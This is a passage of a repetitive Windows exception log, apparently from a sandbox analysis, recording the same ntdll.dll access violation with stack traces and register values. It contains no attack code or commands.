+0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
